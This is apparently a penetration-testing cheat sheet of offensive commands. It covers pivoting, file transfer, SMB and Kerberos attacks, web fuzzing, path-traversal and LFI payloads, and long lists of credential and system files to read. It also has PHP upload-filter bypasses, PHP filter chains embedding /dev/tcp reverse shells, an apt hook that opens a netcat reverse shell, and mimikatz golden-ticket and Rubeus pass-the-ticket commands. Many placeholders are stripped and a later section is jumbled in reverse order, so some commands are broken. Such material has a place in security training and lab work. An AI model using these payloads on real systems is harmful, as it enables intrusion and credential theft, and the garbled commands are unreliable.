# Commands #### Basics **curl** ``` curl -v http:// // verbose output curl -X POST http:// // use POST method curl -X PUT http:// // use PUT method curl --path-as-is http:///../../../../../../etc/passwd // use --path-as-is to handle /../ or /./ in the given URL curl --proxy http://127.0.0.1:8080 // use proxy curl -F myFile=@ http:// // file upload curl${IFS}/ // Internal Field Separator (IFS) example ``` **Chisel** **Reverse Pivot** ``` ./chisel server -p 9002 -reverse -v ./chisel client :9002 R:3000:127.0.0.1:3000 ``` **SOCKS5 / Proxychains Configuration** ``` ./chisel server -p 9002 -reverse -v ./chisel client :9002 R:socks ``` **File Transfer** **Certutil** ``` certutil -urlcache -split -f "http:///" ``` **Netcat** ``` nc -lnvp < nc > ``` **Impacket** ``` sudo impacket-smbserver ./ sudo impacket-smbserver . -smb2support copy * \\\ ``` **PowerShell** ``` iwr / -o IEX(IWR http:///) -UseBasicParsing powershell -command Invoke-WebRequest -Uri http://:/ -Outfile C:\\temp\\ ``` **Bash only** **wget version** Paste directly to the shell. ``` function __wget() { : ${DEBUG:=0} local URL=$1 local tag="Connection: close" local mark=0 if [ -z "${URL}" ]; then printf "Usage: %s \"URL\" [e.g.: %s http://www.google.com/]" \ "${FUNCNAME[0]}" "${FUNCNAME[0]}" return 1; fi read proto server path <<<$(echo ${URL//// }) DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"${HOST}" == x"${PORT}" ]] && PORT=80 [[ $DEBUG -eq 1 ]] && echo "HOST=$HOST" [[ $DEBUG -eq 1 ]] && echo "PORT=$PORT" [[ $DEBUG -eq 1 ]] && echo "DOC =$DOC" exec 3<>/dev/tcp/${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\n${tag}\r\n\r\n" >&3 while read line; do [[ $mark -eq 1 ]] && echo $line if [[ "${line}" =~ "${tag}" ]]; then mark=1 fi done <&3 exec 3>&- } ``` ``` __wget http:/// ``` **curl version** ``` function __curl() { read proto server path <<<$(echo ${1//// }) DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"${HOST}" == x"${PORT}" ]] && PORT=80 exec 3<>/dev/tcp/${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3 (while read line; do [[ "$line" == $'\r' ]] && break done && cat) <&3 exec 3>&- } ``` ``` __curl http:/// > ``` **FTP** ``` ftp wget -r ftp://anonymous:anonymous@ ``` **Kerberos** ``` sudo apt-get install krb5-kdc ``` ``` impacket-getTGT /:'' export KRB5CCNAME=.ccache export KRB5CCNAME='realpath .ccache' ``` ``` /etc/krb5.conf // kerberos configuration file location kinit // creating ticket request klist // show available kerberos tickets kdestroy // delete cached kerberos tickets .k5login // resides kerberos principals for login (place in home directory) krb5.keytab // "key table" file for one or more principals kadmin // kerberos administration console add_principal // add a new user to a keytab file ksu // executes a command with kerberos authentication klist -k /etc/krb5.keytab // lists keytab file kadmin -p kadmin/ -k -t /etc/krb5.keytab // enables editing of the keytab file ``` **Ligolo-ng** > **Download Proxy and Agent** ``` wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz ``` **Prepare Tunnel Interface** ``` sudo ip tuntap add user $(whoami) mode tun ligolo ``` ``` sudo ip link set ligolo up ``` **Setup Proxy on Attacker Machine** ``` ./proxy -laddr :443 -selfcert ``` **Setup Agent on Target Machine** ``` ./agent -connect :443 -ignore-cert ``` **Session** ``` ligolo-ng » session ``` ``` [Agent : user@target] » ifconfig ``` ``` sudo ip r add 172.16.1.0/24 dev ligolo ``` ``` [Agent : user@target] » start ``` **Linux** **CentOS** ``` doas -u /bin/sh ``` **Environment Variables** ``` export PATH=`pwd`:$PATH ``` **gcc** ``` gcc (--static) -m32 -Wl,--hash-style=both exploit.c -o exploit i686-w64-mingw32-gcc -o main32.exe main.c x86_64-w64-mingw32-gcc -o main64.exe main.c ``` **getfacl** ``` getfacl ``` **iconv** ``` echo "" | iconv -t UTF-16LE | base64 -w 0 echo "" | iconv -f UTF-8 -t UTF-16LE | base64 -w0 iconv -f ASCII -t UTF-16LE .txt | base64 | tr -d "\n" ``` **vi** ``` :w !sudo tee % # save file with elevated privileges without exiting ``` **Windows Command Formatting** ``` echo "" | iconv -f UTF-8 -t UTF-16LE | base64 -w0 ``` **Microsoft Windows** **dir** ``` dir flag* /s /p dir /s /b *.log ``` **PHP Webserver** ``` sudo php -S 127.0.0.1:80 ``` **Ping** ``` ping -c 1 ping -n 1 ``` **Python Webserver** ``` sudo python -m SimpleHTTPServer 80 sudo python3 -m http.server 80 ``` **RDP** ``` xfreerdp /v: /u: /p: /dynamic-resolution +clipboard xfreerdp /v: /u: /d: /pth:'' /dynamic-resolution +clipboard rdesktop ``` **showmount** ``` /usr/sbin/showmount -e sudo showmount -e chown root:root sid-shell; chmod +s sid-shell ``` **smbclient** ``` smbclient -L \\\ -N smbclient -L /// -N smbclient -L ///// -N smbclient -U "" -L \\\\\\ smbclient -L //// -U % smbclient ///SYSVOL -U % smbclient "\\\\\" smbclient \\\\\\ -U '' --socket-options='TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=131072 SO_SNDBUF=131072' -t 40000 smbclient --no-pass /// mount.cifs /// /mnt/remote guestmount --add '//' --inspector --ro /mnt/ -v ``` **Download multiple files at once** ``` mask"" recurse ON prompt OFF mget * ``` **Upload multiple Files at once** ``` recurse ON prompt OFF mput * ``` **socat** ``` socat TCP-LISTEN:,fork TCP:: ``` ``` socat file:`tty`,raw,echo=0 tcp-listen: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:: ``` ``` socat tcp-listen:5986,reuseaddr,fork tcp::9002 socat tcp-listen:9002,reuseaddr,fork tcp:192.168.122.228:5968 & ``` **SSH** ``` ssh user@ -oKexAlgorithms=+diffie-hellman-group1-sha1 ssh -R 8080::80 ssh -L 8000:127.0.0.1:8000 @ ssh -N -L 1234:127.0.0.1:1234 @ ssh -L 80::80 ssh -L 127.0.0.1:80::80 ssh -L 80:localhost:80 ``` **Time and Date** **Get the Server Time** ``` sudo nmap -sU -p 123 --script ntp-info ``` **Stop virtualbox-guest-utils to stop syncing Time** ``` sudo /etc/init.d/virtualbox-guest-utils stop ``` **Stop systemd-timesyncd to sync Time manually** ``` sudo systemctl stop systemd-timesyncd ``` **Disable automatic Sync** ``` sudo systemctl disable --now chronyd ``` **Options to set the Date and Time** ``` sudo net time -c sudo net time set -S sudo net time \\ /set /y sudo ntpdate sudo ntpdate -s sudo ntpdate -b -u sudo timedatectl set-timezone UTC sudo timedatectl list-timezones sudo timedatectl set-timezone '/' sudo timedatectl set-time 15:58:30 sudo timedatectl set-time '2015-11-20 16:14:50' sudo timedatectl set-local-rtc 1 ``` **Keep in Sync with a Server** ``` while [ 1 ]; do sudo ntpdate ;done ``` **Tmux** ``` ctrl b + w # show windows ctrl + " # split window horizontal ctrl + % # split window vertical ctrl + , # rename window ctrl + { # flip window ctrl + } # flip window ctrl + spacebar # switch pane layout ``` Copy & Paste ``` :setw -g mode-keys vi ctrl b + [ space enter ctrl b + ] ``` Search ``` ctrl b + [ # enter copy ctrl + / # enter search while within copy mode for vi mode n # search next shift + n # reverse search ``` Logging ``` ctrl b shift + P # start / stop ``` Save Output ``` ctrl b + : capture-pane -S - ctrl b + : save-buffer .txt ``` **Upgrading Shells** ``` python -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")' ctrl + z stty raw -echo fg Enter Enter export XTERM=xterm ``` Alternatively: ``` script -q /dev/null -c bash /usr/bin/script -qc /bin/bash /dev/null ``` #### Oneliner ``` stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` **Fixing Staircase Effect** ``` env reset ``` or ``` stty onlcr ``` **VirtualBox** ``` sudo pkill VBoxClient && VBoxClient --clipboard ``` **virtualenv** ``` sudo apt-get install virtualenv virtualenv -p python2.7 venv . venv/bin/activate ``` ``` python.exe -m pip install virtualenv python.exe -m virtualenv venv venv\Scripts\activate ``` #### Information Gathering **memcached** > ``` memcrashed / 11211/UDP npm install -g memcached-cli memcached-cli :@:11211 echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211 STAT pid 21357 STAT uptime 41557034 STAT time 1519734962 sudo nmap -p 11211 -sU -sS --script memcached-info stats items stats cachedump 1 0 get link get file get user get passwd get account get username get password ``` **NetBIOS** ``` nbtscan nmblookup -A ``` **Nmap** ``` sudo nmap -A -T4 -sC -sV -p- sudo nmap -sV -sU sudo nmap -A -T4 -sC -sV --script vuln sudo nmap -A -T4 -p- -sS -sV -oN initial --script discovery sudo nmap -sC -sV -p- --scan-delay 5s sudo nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test' ls -lh /usr/share/nmap/scripts/*ssh* locate -r '\.nse$' | xargs grep categories | grep categories | grep 'default\|version\|safe' | grep smb ``` **Port Scanning** ``` for p in {1..65535}; do nc -vn $p -w 1 -z & done 2> .txt ``` ``` export ip=; for port in $(seq 1 65535); do timeout 0.01 bash -c " /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; done ``` **snmpwalk** ``` snmpwalk -c public -v1 snmpwalk -v2c -c public 1.3.6.1.2.1.4.34.1.3 snmpwalk -v2c -c public .1 snmpwalk -v2c -c public nsExtendObjects snmpwalk -c public -v1 1.3.6.1.4.1.77.1.2.25 snmpwalk -c public -v1 1.3.6.1.2.1.25.4.2.1.2 snmpwalk -c public -v1 .1.3.6.1.2.1.1.5 snmpwalk -c public -v1 1.3.6.1.4.1.77.1.2.3.1.1 snmpwalk -c public -v1 1.3.6.1.4.1.77.1.2.27 snmpwalk -c public -v1 1.3.6.1.2.1.6.13.1.3 snmpwalk -c public -v1 1.3.6.1.2.1.25.6.3.1.2 ``` #### Web Application Analysis **Burp Suite** ``` Ctrl+r // Sending request to repeater Ctrl+i // Sending request to intruder Ctrl+Shift+b // base64 encoding Ctrl+Shift+u // URL decoding ``` **Set Proxy Environment Variables** ``` export HTTP_PROXY=http://localhost:8080 export HTTPS_PROXY=https://localhost:8080 ``` **cadaver** ``` cadaver http://// ``` ``` dav://> cd C dav://C/> ls dav://C/> put ``` **Cross-Site Scripting (XSS)** ```

``` **ffuf** ``` ffuf -w /usr/share/wordlists/dirb/common.txt -u http:///FUZZ --fs -mc all ffuf -w /usr/share/wordlists/dirb/common.txt -u http:///FUZZ --fw -mc all ffuf -w /usr/share/wordlists/dirb/common.txt -u http:///FUZZ -mc 200,204,301,302,307,401 -o results.txt ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http:/// -H "Host: FUZZ." -fs 185 ffuf -c -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u http:///backups/backup_2020070416FUZZ.zip ``` **API Fuzzing** ``` ffuf -u https:///api/v2/FUZZ -w api_seen_in_wild.txt -c -ac -t 250 -fc 400,404,412 ``` **Searching for LFI** ``` ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http:///admin../admin_staging/index.php?page=FUZZ -fs 15349 ``` **Fuzzing with PHP Session ID** ``` ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -u "http:///admin/FUZZ.php" -b "PHPSESSID=a0mjo6ukbkq271nb2rkb1joamp" -fw 2644 ``` **Recursion** ``` ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http:///cd/basic/FUZZ -recursion ``` **File Extensions** ``` ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http:///cd/ext/logs/FUZZ -e .log ``` **Rate Limiting** ``` ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 5 -p 0.1 -u http:///cd/rate/FUZZ -mc 200,429 ``` **Virtual Host Discovery** ``` ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ." -u http:// -fs 1495 ``` **Massive File Extension Discovery** ``` ffuf -w /opt/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http:///FUZZ -t 30 -c -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -mc 200,204,301,302,307,401,403,500 -ic -e .7z,.action,.ashx,.asp,.aspx,.backup,.bak,.bz,.c,.cgi,.conf,.config,.dat,.db,.dhtml,.do,.doc,.docm,.docx,.dot,.dotm,.go,.htm,.html,.ini,.jar,.java,.js,.js.map,.json,.jsp,.jsp.source,.jspx,.jsx,.log,.old,.pdb,.pdf,.phtm,.phtml,.pl,.py,.pyc,.pyz,.rar,.rhtml,.shtm,.shtml,.sql,.sqlite3,.svc,.tar,.tar.bz2,.tar.gz,.tsx,.txt,.wsdl,.xhtm,.xhtml,.xls,.xlsm,.xlst,.xlsx,.xltm,.xml,.zip ``` **GitTools** ``` ./gitdumper.sh http:///.git/ /PATH/TO/FOLDER ./extractor.sh /PATH/TO/FOLDER/ /PATH/TO/FOLDER/ ``` **Gobuster** ``` -e // extended mode that renders the full url -k // skip ssl certificate validation -r // follow cedirects -s // status codes -b // exclude status codes -k // ignore certificates --wildcard // set wildcard option $ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http:/// $ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http:/// -x php $ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http:/// -x php,txt,html,js -e -s 200 $ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://:/ -b 200 -k --wildcard ``` **Common File Extensions** ``` txt,bak,php,html,js,asp,aspx ``` **Common Picture Extensions** ``` png,jpg,jpeg,gif,bmp ``` **POST Requests** ``` gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http:///api/ -e -s 200 ``` **DNS Recon** ``` gobuster dns -d -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt gobuster dns -d -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt ``` **VHost Discovery** ``` gobuster vhost -u -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt gobuster vhost -u -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain ``` **Specifiy User Agent** ``` gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http:/// -a Linux ``` **Local File Inclusion (LFI)** ``` http:///.php?file= http:///.php?file=../../../../../../../../etc/passwd http:////php?file=../../../../../../../../../../etc/passwd ``` **Until php 5.3** ``` http:////php?file=../../../../../../../../../../etc/passwd%00 ``` **Null Byte** ``` %00 0x00 ``` **Encoded Traversal Strings** ``` ../ ..\ ..\/ %2e%2e%2f %252e%252e%252f %c0%ae%c0%ae%c0%af %uff0e%uff0e%u2215 %uff0e%uff0e%u2216 ..././ ...\.\ ``` **php\://filter Wrapper** > > > ``` url=php://filter/convert.base64-encode/resource=file:////var/www//api.php ``` ``` http:///index.php?page=php://filter/convert.base64-encode/resource=index http:///index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd base64 -d .php ``` **Django, Rails, or Node.js Web Application Header Values** ``` Accept: ../../../../.././../../../../etc/passwd{{ Accept: ../../../../.././../../../../etc/passwd{%0D Accept: ../../../../.././../../../../etc/passwd{%0A Accept: ../../../../.././../../../../etc/passwd{%00 Accept: ../../../../.././../../../../etc/passwd{%0D{{ Accept: ../../../../.././../../../../etc/passwd{%0A{{ Accept: ../../../../.././../../../../etc/passwd{%00{{ ``` **Linux Files** ``` /etc/passwd /etc/shadow /etc/aliases /etc/anacrontab /etc/apache2/apache2.conf /etc/apache2/httpd.conf /etc/apache2/sites-enabled/000-default.conf /etc/at.allow /etc/at.deny /etc/bashrc /etc/bootptab /etc/chrootUsers /etc/chttp.conf /etc/cron.allow /etc/cron.deny /etc/crontab /etc/cups/cupsd.conf /etc/exports /etc/fstab /etc/ftpaccess /etc/ftpchroot /etc/ftphosts /etc/groups /etc/grub.conf /etc/hosts /etc/hosts.allow /etc/hosts.deny /etc/httpd/access.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/httpd/logs/access_log /etc/httpd/logs/access.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /etc/httpd/php.ini /etc/httpd/srm.conf /etc/inetd.conf /etc/inittab /etc/issue /etc/knockd.conf /etc/lighttpd.conf /etc/lilo.conf /etc/logrotate.d/ftp /etc/logrotate.d/proftpd /etc/logrotate.d/vsftpd.log /etc/lsb-release /etc/motd /etc/modules.conf /etc/motd /etc/mtab /etc/my.cnf /etc/my.conf /etc/mysql/my.cnf /etc/network/interfaces /etc/networks /etc/npasswd /etc/passwd /etc/php4.4/fcgi/php.ini /etc/php4/apache2/php.ini /etc/php4/apache/php.ini /etc/php4/cgi/php.ini /etc/php4/apache2/php.ini /etc/php5/apache2/php.ini /etc/php5/apache/php.ini /etc/php/apache2/php.ini /etc/php/apache/php.ini /etc/php/cgi/php.ini /etc/php.ini /etc/php/php4/php.ini /etc/php/php.ini /etc/printcap /etc/profile /etc/proftp.conf /etc/proftpd/proftpd.conf /etc/pure-ftpd.conf /etc/pureftpd.passwd /etc/pureftpd.pdb /etc/pure-ftpd/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/putreftpd.pdb /etc/redhat-release /etc/resolv.conf /etc/samba/smb.conf /etc/snmpd.conf /etc/ssh/ssh_config /etc/ssh/sshd_config /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_key /etc/ssh/ssh_host_key.pub /etc/sysconfig/network /etc/syslog.conf /etc/termcap /etc/vhcs2/proftpd/proftpd.conf /etc/vsftpd.chroot_list /etc/vsftpd.conf /etc/vsftpd/vsftpd.conf /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /logs/pure-ftpd.log /logs/security_debug_log /logs/security_log /opt/lampp/etc/httpd.conf /opt/xampp/etc/php.ini /proc/cmdline /proc/cpuinfo /proc/filesystems /proc/interrupts /proc/ioports /proc/meminfo /proc/modules /proc/mounts /proc/net/arp /proc/net/tcp /proc/net/udp /proc//cmdline /proc//maps /proc/sched_debug /proc/self/cwd/app.py /proc/self/environ /proc/self/net/arp /proc/stat /proc/swaps /proc/version /root/anaconda-ks.cfg /usr/etc/pure-ftpd.conf /usr/lib/php.ini /usr/lib/php/php.ini /usr/local/apache/conf/modsec.conf /usr/local/apache/conf/php.ini /usr/local/apache/log /usr/local/apache/logs /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /usr/local/apache/audit_log /usr/local/apache/error_log /usr/local/apache/error.log /usr/local/cpanel/logs /usr/local/cpanel/logs/access_log /usr/local/cpanel/logs/error_log /usr/local/cpanel/logs/license_log /usr/local/cpanel/logs/login_log /usr/local/cpanel/logs/stats_log /usr/local/etc/httpd/logs/access_log /usr/local/etc/httpd/logs/error_log /usr/local/etc/php.ini /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/lib/php.ini /usr/local/php4/httpd.conf /usr/local/php4/httpd.conf.php /usr/local/php4/lib/php.ini /usr/local/php5/httpd.conf /usr/local/php5/httpd.conf.php /usr/local/php5/lib/php.ini /usr/local/php/httpd.conf /usr/local/php/httpd.conf.ini /usr/local/php/lib/php.ini /usr/local/pureftpd/etc/pure-ftpd.conf /usr/local/pureftpd/etc/pureftpd.pdn /usr/local/pureftpd/sbin/pure-config.pl /usr/local/www/logs/httpd_log /usr/local/Zend/etc/php.ini /usr/sbin/pure-config.pl /var/adm/log/xferlog /var/apache2/config.inc /var/apache/logs/access_log /var/apache/logs/error_log /var/cpanel/cpanel.config /var/lib/mysql/my.cnf /var/lib/mysql/mysql/user.MYD /var/local/www/conf/php.ini /var/log/apache2/access_log /var/log/apache2/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/apache/error_log /var/log/apache/error.log /var/log/apache-ssl/access.log /var/log/apache-ssl/error.log /var/log/auth.log /var/log/boot /var/htmp /var/log/chttp.log /var/log/cups/error.log /var/log/daemon.log /var/log/debug /var/log/dmesg /var/log/dpkg.log /var/log/exim_mainlog /var/log/exim/mainlog /var/log/exim_paniclog /var/log/exim.paniclog /var/log/exim_rejectlog /var/log/exim/rejectlog /var/log/faillog /var/log/ftplog /var/log/ftp-proxy /var/log/ftp-proxy/ftp-proxy.log /var/log/httpd-access.log /var/log/httpd/access_log /var/log/httpd/access.log /var/log/httpd/error_log /var/log/httpd/error.log /var/log/httpsd/ssl.access_log /var/log/httpsd/ssl_log /var/log/kern.log /var/log/lastlog /var/log/lighttpd/access.log /var/log/lighttpd/error.log /var/log/lighttpd/lighttpd.access.log /var/log/lighttpd/lighttpd.error.log /var/log/mail.info /var/log/mail.log /var/log/maillog /var/log/mail.warn /var/log/message /var/log/messages /var/log/mysqlderror.log /var/log/mysql.log /var/log/mysql/mysql-bin.log /var/log/mysql/mysql.log /var/log/mysql/mysql-slow.log /var/log/proftpd /var/log/pureftpd.log /var/log/pure-ftpd/pure-ftpd.log /var/log/secure /var/log/vsftpd.log /var/log/wtmp /var/log/xferlog /var/log/yum.log /var/mysql.log /var/run/utmp /var/spool/cron/crontabs/root /var/webmin/miniserv.log /var/www/html/__init__.py /var/www/html/db_connect.php /var/www/html/utils.php /var/www/log/access_log /var/www/log/error_log /var/www/logs/access_log /var/www/logs/error_log /var/www/logs/access.log /var/www/logs/error.log ~/.atfp_history ~/.bash_history ~/.bash_logout ~/.bash_profile ~/.bashrc ~/.gtkrc ~/.login ~/.logout ~/.mysql_history ~/.nano_history ~/.php_history ~/.profile ~/.ssh/authorized_keys ~/.ssh/id_dsa ~/.ssh/id_dsa.pub ~/.ssh/id_rsa ~/.ssh/id_rsa.pub ~/.ssh/identity ~/.ssh/identity.pub ~/.viminfo ~/.wm_style ~/.Xdefaults ~/.xinitrc ~/.Xresources ~/.xsession ``` **Windows Files** ``` C:/Users/Administrator/NTUser.dat C:/Documents and Settings/Administrator/NTUser.dat C:/apache/logs/access.log C:/apache/logs/error.log C:/apache/php/php.ini C:/boot.ini C:/inetpub/wwwroot/global.asa C:/MySQL/data/hostname.err C:/MySQL/data/mysql.err C:/MySQL/data/mysql.log C:/MySQL/my.cnf C:/MySQL/my.ini C:/php4/php.ini C:/php5/php.ini C:/php/php.ini C:/Program Files/Apache Group/Apache2/conf/httpd.conf C:/Program Files/Apache Group/Apache/conf/httpd.conf C:/Program Files/Apache Group/Apache/logs/access.log C:/Program Files/Apache Group/Apache/logs/error.log C:/Program Files/FileZilla Server/FileZilla Server.xml C:/Program Files/MySQL/data/hostname.err C:/Program Files/MySQL/data/mysql-bin.log C:/Program Files/MySQL/data/mysql.err C:/Program Files/MySQL/data/mysql.log C:/Program Files/MySQL/my.ini C:/Program Files/MySQL/my.cnf C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log C:/Program Files/MySQL/MySQL Server 5.0/my.cnf C:/Program Files/MySQL/MySQL Server 5.0/my.ini C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf C:/Program Files (x86)/Apache Group/Apache/conf/access.log C:/Program Files (x86)/Apache Group/Apache/conf/error.log C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml C:/Program Files (x86)/xampp/apache/conf/httpd.conf C:/WINDOWS/php.ini C:/WINDOWS/Repair/SAM C:/Windows/repair/system C:/Windows/repair/software C:/Windows/repair/security C:/WINDOWS/System32/drivers/etc/hosts C:/Windows/win.ini C:/WINNT/php.ini C:/WINNT/win.ini C:/xampp/apache/bin/php.ini C:/xampp/apache/logs/access.log C:/xampp/apache/logs/error.log C:/Windows/Panther/Unattend/Unattended.xml C:/Windows/Panther/Unattended.xml C:/Windows/debug/NetSetup.log C:/Windows/system32/config/AppEvent.Evt C:/Windows/system32/config/SecEvent.Evt C:/Windows/system32/config/default.sav C:/Windows/system32/config/security.sav C:/Windows/system32/config/software.sav C:/Windows/system32/config/system.sav C:/Windows/system32/config/regback/default C:/Windows/system32/config/regback/sam C:/Windows/system32/config/regback/security C:/Windows/system32/config/regback/system C:/Windows/system32/config/regback/software C:/Program Files/MySQL/MySQL Server 5.1/my.ini C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml C:/Windows/System32/inetsrv/config/applicationHost.config C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log ``` **PDF PHP Inclusion** Create a file with a PDF header, which contains PHP code. ``` %PDF-1.4 ``` ``` http:///index.php?page=uploads/.pdf%00&cmd=whoami ``` **PHP Upload Filter Bypasses** ``` .sh .cgi .inc .txt .pht .phtml .phP .Php .php3 .php4 .php5 .php7 .pht .phps .phar .phpt .pgif .phtml .phtm .php%00.jpeg ``` ``` .php%20 .php%0d%0a.jpg .php%0a .php.jpg .php%00.gif .php\x00.gif .php%00.png .php\x00.png .php%00.jpg .php\x00.jpg mv .jpg .php\x00.jpg ``` **PHP Filter Chain Generator** > ``` python3 php_filter_chain_generator.py --chain '' python3 php_filter_chain_generator.py --chain "" python3 php_filter_chain_generator.py --chain """""" python3 php_filter_chain_generator.py --chain """"& /dev/tcp// 0>&1'"");?>"""" python3 php_filter_chain_generator.py --chain """"& /dev/tcp// 0>&1'"");?>"""" ``` ``` http:///?page=php://filter/convert.base64-decode/resource=PD9waHAgZWNobyBzaGVsbF9leGVjKGlkKTsgPz4 ``` ``` python3 php_filter_chain_generator.py --chain '' [+] The following gadget chain will generate the following code : (base64 value: PD89IGV4ZWMoJF9HRVRbMF0pOyA/Pg) php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|<--- SNIP --->|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0= ``` **PHP Generic Gadget Chains (PHPGGC)** ``` phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/.txt /PATH/TO/FILE/.txt ``` **Server-Side Request Forgery (SSRF)** ``` https:///item/2?server=server./file?id=9&x= ``` **Server-Side Template Injection (SSTI)** **Fuzz String** >
> > **arua2c** > > ``` > echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/f"};' > /etc/apt/apt.conf.d/ > ``` > > **APT** > > ``` > sudo /usr/sbin/apache2 -f > ``` > > **Read first Line of a File with apache2 Binary** > > **Apache2** > > ``` > grep -R db_passwd > grep -roiE "password.{20}" > grep -oiE "password.{20}" /etc/*.conf > grep -v "^[#;]" /PATH/TO/FILE | grep -v "^$" // grep for passwords like "DBPassword:" > ``` > > **grep for Passwords** > > ``` > find / -user -ls 2>/dev/null > find / -user -ls 2>/dev/null | grep -v proc 2>/dev/null > find / -group 2>/dev/null > find / -perm -4000 2>/dev/null | xargs ls -la > find / -type f -user root -perm -4000 2>/dev/null > find / -type f -a $ -perm -u+s -o -perm -g+s $ -exec ls -l {} \; 2> /dev/null > find / -cmin -60 // find files changed within the last 60 minutes > find / -amin -60 // find files accesses within the last 60 minutes > find ./ -type f -exec grep --color=always -i -I 'password' {} \; // search for passwords > ``` > > **find Commands** > > ``` > id > sudo -l > uname -a > env > cat /etc/hosts > cat /etc/fstab > cat /etc/passwd > ss -tulpn > ps -auxf > ls -lahv > ls -R /home > ls -la /opt > ``` > > **Basic Linux Enumeration** > > **Linux** > > ``` > ldapsearch -x -H ldap:// -D '' -w '' -b "DC=,DC=local" > ldapsearch -x -H ldap:// -D '' -w '' -b "DC=,DC=local" | grep descr -A 3 -B 3 > ldapsearch -x -h -s base namingcontexts > ldapsearch -x -h -b "dc=,dc=local" "*" | awk '/dn: / {print $2}' > ldapsearch -x -h -D "" -b "dc=,dc=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd > ldapsearch -H ldap:// -D -w "" -b "CN=Users,DC=,DC=local" | grep info > ``` > > **ldapsearch** > > ``` > python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "".encode("utf-16le")).digest())' > ``` > > **Get NTLM from Password** > > ``` > .\PsExec.exe -accepteula \\ cmd > ``` > > **Execute CMD on Remote Host** > > ``` > .\Rubeus.exe ptt /ticket: > ``` > > **Inject Ticket with Rubeus** > > **Rubeus Examples** > > ``` > kerberos::ptt > ``` > > **Inject TGT with Mimikatz** > > ``` > kerberos::golden /domain:/sid: /aes256: /user: > ``` > > **Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)** > > ``` > kerberos::golden /domain:/sid: /aes128: /user: > ``` > > **Generate TGT with AES 128bit Key** > > ``` > kerberos::golden /domain:/sid: /rc4: /user: > ``` > > **Generate TGT with NTLM** > > **mimikatz Examples** > > ``` > impacket-psexec /@ -k -no-pass > impacket-smbexec /@ -k -no-pass > impacket-wmiexec /@ -k -no-pass > ``` > > **Execute Remote Commands by using TGT** > > ``` > export KRB5CCNAME=.ccache > ``` > > **Set TGT for Impacket Usage** > > ``` > python ticketer.py -aesKey -domain-sid -domain > ``` > > **Generate TGT with aesKey** > > 